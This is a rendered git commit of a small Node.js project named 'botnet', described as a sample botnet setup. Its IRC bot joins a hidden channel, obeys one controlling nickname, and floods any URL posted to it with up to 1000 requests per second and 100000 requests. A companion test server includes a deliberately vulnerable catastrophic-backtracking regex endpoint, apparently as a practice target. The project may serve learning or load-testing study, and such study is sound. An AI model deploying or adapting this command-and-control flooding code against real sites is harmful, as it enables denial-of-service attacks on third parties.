init
This commit is contained in:
1
.gitignore
vendored
Normal file
1
.gitignore
vendored
Normal file
@@ -0,0 +1 @@
|
|||||||
|
node_modules
|
||||||
12
docker-compose.yml
Normal file
12
docker-compose.yml
Normal file
@@ -0,0 +1,12 @@
|
|||||||
|
version: '3'
|
||||||
|
|
||||||
|
services:
|
||||||
|
bot:
|
||||||
|
build: ./docker
|
||||||
|
environment:
|
||||||
|
- IRC_SERVER=chat.freenode.net
|
||||||
|
- IRC_CHANNEL=#uoseifohng2ooGaefohkahjaing1Ci7u
|
||||||
|
volumes:
|
||||||
|
- /etc/localtime:/etc/localtime:ro
|
||||||
|
- ./src:/home/node/app
|
||||||
|
command: "npm run dev"
|
||||||
17
docker/Dockerfile
Normal file
17
docker/Dockerfile
Normal file
@@ -0,0 +1,17 @@
|
|||||||
|
FROM node:8.15-alpine
|
||||||
|
|
||||||
|
RUN mkdir -p /home/node/app/node_modules && chown -R node:node /home/node/app
|
||||||
|
|
||||||
|
WORKDIR /home/node/app
|
||||||
|
|
||||||
|
# COPY package*.json ./
|
||||||
|
|
||||||
|
# USER node
|
||||||
|
|
||||||
|
# RUN npm install
|
||||||
|
|
||||||
|
# COPY --chown=node:node . .
|
||||||
|
|
||||||
|
# Just mount ./src to /home/node/app
|
||||||
|
|
||||||
|
CMD [ "npm", "run", "start" ]
|
||||||
4
iptables/rate-limit.sh
Normal file
4
iptables/rate-limit.sh
Normal file
@@ -0,0 +1,4 @@
|
|||||||
|
# @Author: Anton Bracke <anton>
|
||||||
|
# @Date: 2019-05-03T00:05:51+02:00
|
||||||
|
# @Last modified by: anton
|
||||||
|
# @Last modified time: 2019-05-03T00:05:51+02:00
|
||||||
4
iptables/reset.sh
Normal file
4
iptables/reset.sh
Normal file
@@ -0,0 +1,4 @@
|
|||||||
|
# @Author: Anton Bracke <anton>
|
||||||
|
# @Date: 2019-05-03T00:05:40+02:00
|
||||||
|
# @Last modified by: anton
|
||||||
|
# @Last modified time: 2019-05-03T00:05:40+02:00
|
||||||
40
src/index.js
Normal file
40
src/index.js
Normal file
@@ -0,0 +1,40 @@
|
|||||||
|
const irc = require('./irc');
|
||||||
|
const load = require('./load');
|
||||||
|
|
||||||
|
const ircServer = process.env.IRC_SERVER || null;
|
||||||
|
const ircChannel = process.env.IRC_CHANNEL || null;
|
||||||
|
|
||||||
|
const rnd = Math.floor(Math.random() * 1000);
|
||||||
|
const ircNickname = `padawan-${rnd}`;
|
||||||
|
|
||||||
|
if (!ircServer || !ircChannel) {
|
||||||
|
console.log('Please set env: IRC_SERVER and IRC_CHANNEL');
|
||||||
|
process.exit(1);
|
||||||
|
}
|
||||||
|
|
||||||
|
async function handleMessage(from, message, say) {
|
||||||
|
if (from !== 'anbraten') {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
if ((/^https?:\/\//).test(message)) {
|
||||||
|
const url = message;
|
||||||
|
say(`Load testing: ${url}`);
|
||||||
|
|
||||||
|
load({
|
||||||
|
url,
|
||||||
|
}, (error, result) => {
|
||||||
|
if (!error) {
|
||||||
|
say(`Load test finished: avg response time ${result.meanLatencyMs}ms`);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
console.log('Running bot V1.0');
|
||||||
|
|
||||||
|
irc({
|
||||||
|
server: ircServer,
|
||||||
|
channel: ircChannel,
|
||||||
|
nickname: ircNickname,
|
||||||
|
}, handleMessage);
|
||||||
35
src/irc.js
Normal file
35
src/irc.js
Normal file
@@ -0,0 +1,35 @@
|
|||||||
|
const irc = require('irc');
|
||||||
|
|
||||||
|
module.exports = ({ server, channel, nickname }, cb) => {
|
||||||
|
console.log(`IRC: connecting to ${server}:${channel} as ${nickname}`);
|
||||||
|
|
||||||
|
const client = new irc.Client(server, nickname, {
|
||||||
|
channels: [channel],
|
||||||
|
showErrors: true,
|
||||||
|
autoConnect: true, // persistence to connect
|
||||||
|
});
|
||||||
|
|
||||||
|
function say(msg) {
|
||||||
|
if (!client || !msg) { return; }
|
||||||
|
client.say(channel, msg);
|
||||||
|
}
|
||||||
|
|
||||||
|
client.addListener('registered', (message) => {
|
||||||
|
console.log('IRC: Connected');
|
||||||
|
});
|
||||||
|
|
||||||
|
client.addListener(`join${channel}`, (nick, message) => {
|
||||||
|
if (nick !== nickname) { return; }
|
||||||
|
console.log(`IRC: joined ${channel}`);
|
||||||
|
say('I am waiting for your tasks!');
|
||||||
|
});
|
||||||
|
|
||||||
|
client.addListener(`message${channel}`, (from, message) => {
|
||||||
|
console.log(`IRC: ${from} => ${message}`);
|
||||||
|
cb(from, message, say);
|
||||||
|
});
|
||||||
|
|
||||||
|
client.addListener('error', (message) => {
|
||||||
|
console.log('IRC error: ', message);
|
||||||
|
});
|
||||||
|
}
|
||||||
21
src/load.js
Normal file
21
src/load.js
Normal file
@@ -0,0 +1,21 @@
|
|||||||
|
const loadtest = require('loadtest');
|
||||||
|
|
||||||
|
module.exports = (_options, cb) => {
|
||||||
|
const options = Object.assign({
|
||||||
|
url: null,
|
||||||
|
concurrency: 100,
|
||||||
|
timeout: 1000 * 10, // 10 seconds
|
||||||
|
requestsPerSecond: 1000,
|
||||||
|
maxRequests: 100000,
|
||||||
|
}, _options);
|
||||||
|
|
||||||
|
loadtest.loadTest(options, (error, result) => {
|
||||||
|
if (error) {
|
||||||
|
return console.error('Got an error: %s', error);
|
||||||
|
}
|
||||||
|
|
||||||
|
cb(error, result);
|
||||||
|
|
||||||
|
console.log('Tests run successfully', result);
|
||||||
|
});
|
||||||
|
};
|
||||||
2673
src/package-lock.json
generated
Normal file
2673
src/package-lock.json
generated
Normal file
File diff suppressed because it is too large
Load Diff
20
src/package.json
Normal file
20
src/package.json
Normal file
@@ -0,0 +1,20 @@
|
|||||||
|
{
|
||||||
|
"name": "botnet",
|
||||||
|
"version": "1.0.0",
|
||||||
|
"description": "An sample botnet setup.",
|
||||||
|
"main": "index.js",
|
||||||
|
"scripts": {
|
||||||
|
"start": "node index.js",
|
||||||
|
"dev": "NODE_ENV=development nodemon index.js",
|
||||||
|
"cluster": "NODE_ENV=development nodemon cluster.js"
|
||||||
|
},
|
||||||
|
"author": "Anton Bracke <anton@ju60.de>, Julian Hahn",
|
||||||
|
"license": "ISC",
|
||||||
|
"devDependencies": {
|
||||||
|
"nodemon": "^1.18.11"
|
||||||
|
},
|
||||||
|
"dependencies": {
|
||||||
|
"irc": "^0.5.2",
|
||||||
|
"loadtest": "^3.0.7"
|
||||||
|
}
|
||||||
|
}
|
||||||
45
testserver/index.js
Normal file
45
testserver/index.js
Normal file
@@ -0,0 +1,45 @@
|
|||||||
|
const express = require('express');
|
||||||
|
const expressStatus = require('express-status-monitor');
|
||||||
|
const crypto = require('crypto');
|
||||||
|
const fs = require('fs');
|
||||||
|
const path = require('path');
|
||||||
|
|
||||||
|
const app = express();
|
||||||
|
|
||||||
|
app.use(expressStatus());
|
||||||
|
|
||||||
|
app.get('/', (req, res) => {
|
||||||
|
res.send('Hello world');
|
||||||
|
});
|
||||||
|
|
||||||
|
app.get('/regex', (req, res) => {
|
||||||
|
const userAgent = `aaaa${req.headers['user-agent']}`;
|
||||||
|
res.send(`greedy regex (a+)+ ${(/(a+)+/).test(userAgent)}`);
|
||||||
|
});
|
||||||
|
|
||||||
|
app.get('/crypto', (req, res) => {
|
||||||
|
const buf = crypto.randomBytes(256);
|
||||||
|
res.send(`crypto.randomBytes(256): ${buf}`);
|
||||||
|
});
|
||||||
|
|
||||||
|
app.get('/file', (req, res) => {
|
||||||
|
const hash = crypto.createHash('sha512');
|
||||||
|
const filename = path.resolve(__dirname, 'package-lock.json');
|
||||||
|
const stream = fs.ReadStream(filename);
|
||||||
|
|
||||||
|
const randomString = Math.random().toString(36).substring(2, 15) + Math.random().toString(36).substring(2, 15);
|
||||||
|
hash.update(randomString);
|
||||||
|
|
||||||
|
stream.on('data', (data) => {
|
||||||
|
hash.update(data);
|
||||||
|
});
|
||||||
|
|
||||||
|
// making digest
|
||||||
|
stream.on('end', () => {
|
||||||
|
res.send(`file hash: ${hash.digest('hex')}`);
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
app.listen(3000, () => {
|
||||||
|
console.log('Test server on port 3000!');
|
||||||
|
});
|
||||||
1080
testserver/package-lock.json
generated
Normal file
1080
testserver/package-lock.json
generated
Normal file
File diff suppressed because it is too large
Load Diff
17
testserver/package.json
Normal file
17
testserver/package.json
Normal file
@@ -0,0 +1,17 @@
|
|||||||
|
{
|
||||||
|
"name": "testserver",
|
||||||
|
"version": "1.0.0",
|
||||||
|
"description": "",
|
||||||
|
"main": "index.js",
|
||||||
|
"dependencies": {
|
||||||
|
"express": "^4.16.4",
|
||||||
|
"express-status-monitor": "^1.2.5"
|
||||||
|
},
|
||||||
|
"devDependencies": {},
|
||||||
|
"scripts": {
|
||||||
|
"start": "node index.js",
|
||||||
|
"test": "echo \"Error: no test specified\" && exit 1"
|
||||||
|
},
|
||||||
|
"author": "",
|
||||||
|
"license": "ISC"
|
||||||
|
}
|
||||||
Reference in New Issue
Block a user